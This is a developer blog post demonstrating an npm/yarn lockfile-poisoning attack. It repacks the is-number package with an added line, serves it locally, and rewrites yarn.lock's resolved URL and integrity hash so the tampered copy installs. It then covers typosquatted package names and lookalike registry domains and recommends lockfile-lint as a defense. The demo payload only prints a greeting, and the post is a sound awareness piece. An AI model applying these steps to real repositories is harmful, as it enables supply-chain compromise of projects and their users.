DEV Community

Cover image for Injecting backdoors to NPM packages
Nikita Kozlov
Nikita Kozlov

Posted on • Updated on

Injecting backdoors to NPM packages

❗️❗️❗️ I'm not advising anyone to actually backdoor any open source packages, it's actually the opposite, let's make a world a better place.

In this article I want to reproduce steps described in reasearch back in 2019 and see if it is still an issue - Why npm lockfiles can be a security blindspot for injecting malicious modules.

In short words, when installing dependencies, your package manager looks first into lock files like yarn.lock. There it can find package name, exact package version, link to the sources and integrity checks which helps to identify if package wasn't corrupted or altered on the way.

is-number@^7.0.0:
  version "7.0.0"
  resolved "https://registry.yarnpkg.com/is-number/-/is-number-7.0.0.tgz#7535345b896734d5f80c4d06c50955527a14f12b"
  integrity sha512-41Cifkg6e8TylSpdtTpeLVMqvSBEVzTttHvERD741+pnZ8ANv0004MRL43QKPDlK9cGvNp6NZWZUBlbGXYxxng==
Enter fullscreen mode Exit fullscreen mode

The issue is that someone can update this lock file and put a new link which is pointing to a backdoored package version. Let's try to replicate this attack and see how hard is it.

Installing package

As an example, we will try to modify is-number package. There is nothing special about this package, it's just small, so it will be easy to modify it.

Let's install it and check if it works at all.

yarn add is-number
Enter fullscreen mode Exit fullscreen mode

index.js

const isNumber = require("is-number");

console.log(isNumber(1));
Enter fullscreen mode Exit fullscreen mode
➜  malicious-lockfile git:(master) ✗ node index.js
true
Enter fullscreen mode Exit fullscreen mode

yarn.lock

# THIS IS AN AUTOGENERATED FILE. DO NOT EDIT THIS FILE DIRECTLY.
# yarn lockfile v1


is-number@^7.0.0:
  version "7.0.0"
  resolved "https://registry.yarnpkg.com/is-number/-/is-number-7.0.0.tgz#7535345b896734d5f80c4d06c50955527a14f12b"
  integrity sha512-41Cifkg6e8TylSpdtTpeLVMqvSBEVzTttHvERD741+pnZ8ANv0004MRL43QKPDlK9cGvNp6NZWZUBlbGXYxxng==
Enter fullscreen mode Exit fullscreen mode

Everything is legit for now.

Copying package

As you may know or noticed in lock file before, packages are served as tgz files. It's not hard to build one yourself, just use the built-in npm command npm pack.

mkdir assets # tmp folder which we will serve locally
cp -r node_modules/is-number assets # copy sources
cd assets/is-number # go to copied sources folder
npm pack # build tgz file
Enter fullscreen mode Exit fullscreen mode

Output:

➜  is-number git:(master) ✗ npm pack
npm notice
npm notice 📦  is-number@7.0.0
npm notice === Tarball Contents ===
npm notice 1.1kB LICENSE
npm notice 6.5kB README.md
npm notice 411B  index.js
npm notice 1.6kB package.json
npm notice === Tarball Details ===
npm notice name:          is-number
npm notice version:       7.0.0
npm notice filename:      is-number-7.0.0.tgz
npm notice package size:  3.7 kB
npm notice unpacked size: 9.6 kB
npm notice shasum:        a01de2faca2efa81c86da01dc937ab13ccc03685
npm notice integrity:     sha512-U/Io4+4Bh+/sk[...]iHyXJG+svOLIg==
npm notice total files:   4
npm notice
is-number-7.0.0.tgz
Enter fullscreen mode Exit fullscreen mode

That's basically it, you need only this steps to replicate a package.

Alter sources

Current index.js version is super simple.

/*!
 * is-number <https://github.com/jonschlinkert/is-number>
 *
 * Copyright (c) 2014-present, Jon Schlinkert.
 * Released under the MIT License.
 */

'use strict';

module.exports = function(num) {
  if (typeof num === 'number') {
    return num - num === 0;
  }
  if (typeof num === 'string' && num.trim() !== '') {
    return Number.isFinite ? Number.isFinite(+num) : isFinite(+num);
  }
  return false;
};
Enter fullscreen mode Exit fullscreen mode

Let's not do anything bad, but just print Hello world 🌎

/*!
 * is-number <https://github.com/jonschlinkert/is-number>
 *
 * Copyright (c) 2014-present, Jon Schlinkert.
 * Released under the MIT License.
 */

'use strict';

module.exports = function(num) {
  // --- NEW LINE ---
  console.log('Hello world 🌎')
  /// --- NEW LINE ---
  if (typeof num === 'number') {
    return num - num === 0;
  }
  if (typeof num === 'string' && num.trim() !== '') {
    return Number.isFinite ? Number.isFinite(+num) : isFinite(+num);
  }
  return false;
};
Enter fullscreen mode Exit fullscreen mode

Now let's just pack it again, but we need to print integrity number, which we will need later, we can do it with --json option.

➜  is-number git:(master) ✗ npm pack --json
[
  {
    "id": "is-number@7.0.0",
    "name": "is-number",
    "version": "7.0.0",
    "size": 3734,
    "unpackedSize": 9649,
    "shasum": "116dad4ddcf4f00721da4c156b3f4d500da5a2db",
    "integrity": "sha512-VFNyA7hugXJ/lnZGGIPNLValf7+Woij3nfhZv27IGB2U/ytqDv/GwusnbS2MvswTTjct1HV5I+vBe7RVIoo+Cw==",
    "filename": "is-number-7.0.0.tgz",
    "files": [
      {
        "path": "LICENSE",
        "size": 1091,
        "mode": 420
      },
      {
        "path": "README.md",
        "size": 6514,
        "mode": 420
      },
      {
        "path": "index.js",
        "size": 445,
        "mode": 420
      },
      {
        "path": "package.json",
        "size": 1599,
        "mode": 420
      }
    ],
    "entryCount": 4,
    "bundled": []
  }
]
Enter fullscreen mode Exit fullscreen mode

Serve this package

For this experiment we won't even publish it to npm or anywhere else, we can just serve this file locally with http-server. This file will be accessible locally via http://127.0.0.1:8080/is-number-7.0.0.tgz.

Altering lock file

The final preparation step is to alter lock file, it won't be hard since we know shasum and integrity number from the step before.

yarn.lock before:

# THIS IS AN AUTOGENERATED FILE. DO NOT EDIT THIS FILE DIRECTLY.
# yarn lockfile v1


is-number@^7.0.0:
  version "7.0.0"
  resolved "https://registry.yarnpkg.com/is-number/-/is-number-7.0.0.tgz#7535345b896734d5f80c4d06c50955527a14f12b"
  integrity sha512-41Cifkg6e8TylSpdtTpeLVMqvSBEVzTttHvERD741+pnZ8ANv0004MRL43QKPDlK9cGvNp6NZWZUBlbGXYxxng==
Enter fullscreen mode Exit fullscreen mode

yarn.lock after:

# THIS IS AN AUTOGENERATED FILE. DO NOT EDIT THIS FILE DIRECTLY.
# yarn lockfile v1


is-number@^7.0.0:
  version "7.0.0"
  resolved "http://127.0.0.1:8080/is-number-7.0.0.tgz#116dad4ddcf4f00721da4c156b3f4d500da5a2db"
  integrity sha512-VFNyA7hugXJ/lnZGGIPNLValf7+Woij3nfhZv27IGB2U/ytqDv/GwusnbS2MvswTTjct1HV5I+vBe7RVIoo+Cw==
Enter fullscreen mode Exit fullscreen mode

Check if it works

We need to clean node_modules first, also we will need to clear yarn cache because otherwise it will install official version which it cached before (when we installed it first time).

➜  malicious-lockfile git:(master) ✗ rm -rf node_modules
➜  malicious-lockfile git:(master) ✗ yarn cache clean
➜  malicious-lockfile git:(master) ✗ yarn --verbose
yarn install v1.22.17
[EDITED]
verbose 0.173942113 current time: 2022-02-16T12:55:14.879Z
[1/4] 🔍  Resolving packages...
[2/4] 🚚  Fetching packages...
verbose 0.231553328 Performing "GET" request to "http://127.0.0.1:8080/is-number-7.0.0.tgz".
[3/4] 🔗  Linking dependencies...
verbose 0.287921518 Creating directory "[EDITED]".
verbose 0.290689753 Copying "[EDITED]" to "[EDITED]".
[EDITED]
[4/4] 🔨  Building fresh packages...
✨  Done in 0.17s.
Enter fullscreen mode Exit fullscreen mode

As we may see in verbose version, we fetched local package version, so let's run it.

➜  malicious-lockfile git:(master) ✗ node index.js
Hello world 🌎
true
Enter fullscreen mode Exit fullscreen mode

Why is it matter?

Someone may think already: "Why should I care? You've updated local dependency and hacked yourself, nice job bro 🤣".

The issue is that it's not that simple, if we take a look on how lock file updates usually look like in open source, we will see that they are hidden from a reviewer in most cases.

Github lockfile preview

Btw, be honest right now, how many times before did you look into 500+ changes in lock file personally?

So it won't be an easy task to spot one URL change in this blob of changes. What if we even upload is-nomber to the npm? package.json will still say that we're using normal is-number, but we will install is-nomber 🤷 Good luck spotting one letter mismatch in 700+ changed lines.

Even if NPM will start taking down misspelled packages like is-nomber, we still can register yranpkg.com and mimic the exact path to the package there. Good luck spotting one letter url change in 700+ changed lines.

Final notes

You need to be extra careful about strangers who update dependencies in your open source project. It may look like a first open source commitment from a student, but it also may be an attempt to backdoor everything from experienced black hat. Maybe you should even only allow updating lockfiles and installing new packages to proven contributors, but it's not a 💯 percent proven solution (read this).

An additional approach may be to use lockfile-lint, but you shouldn't just rely on this script entirely because there are other ecosystems than npm, and they may have similar issues.

upd: This issue isn't only yarn specific, there are open issues/discussions in pnpm, yarn1 & yarn2, and npm.

Related articles

Another related read would be A post-mortem of the malicious event-stream backdoor

If you enjoyed these articles, take a look on these two:

Hope you had fun 👋


Btw, let's be friends here and on twitter 👋

Discussion (1)

Collapse
iamludal profile image
Ludal 🚀

Very interesting, thank you for sharing!